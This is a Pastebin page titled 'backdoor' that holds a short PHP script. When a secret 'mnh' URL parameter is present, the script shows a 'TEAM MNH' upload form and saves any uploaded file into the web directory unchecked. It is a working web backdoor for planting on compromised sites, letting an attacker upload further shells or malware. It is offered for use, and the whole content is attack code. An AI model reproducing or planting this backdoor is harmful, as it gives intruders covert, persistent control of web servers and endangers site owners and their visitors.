Advertisement
mnh_Pastebin

backdoor

Apr 26th, 2019
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. <?php if(isset($_GET['mnh']))
  2. {
  3. echo "<body bgcolor=black>
  4. <font color=red size=3>";
  5. echo "<h2><center>TEAM MNH</center></h2><hr>";
  6. echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
  7. <label for=\"file\">Filename:</label>
  8. <input type=\"file\" name=\"file\" id=\"file\" />
  9. <br />
  10. <input type=\"submit\" name=\"submit\" value=\"Upload\">
  11. </form>";
  12. if ($_FILES["file"]["error"] > 0)
  13. {
  14. echo "Error: " . $_FILES["file"]["error"] . "<br />";
  15. }
  16. else
  17. {
  18. echo "Upload: " . $_FILES["file"]["name"] . "<br />";
  19. echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  20. echo "Stored in: " . $_FILES["file"]["tmp_name"];
  21. }
  22. if (file_exists("" . $_FILES["file"]["name"]))
  23. {
  24. echo $_FILES["file"]["name"] . " already exists. ";
  25. }
  26. else
  27. {
  28. move_uploaded_file($_FILES["file"]["tmp_name"],
  29. "" . $_FILES["file"]["name"]);
  30. echo "Stored in: " . "" . $_FILES["file"]["name"];
  31. echo"<hr>";
  32. }
  33. }
  34.  
  35. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement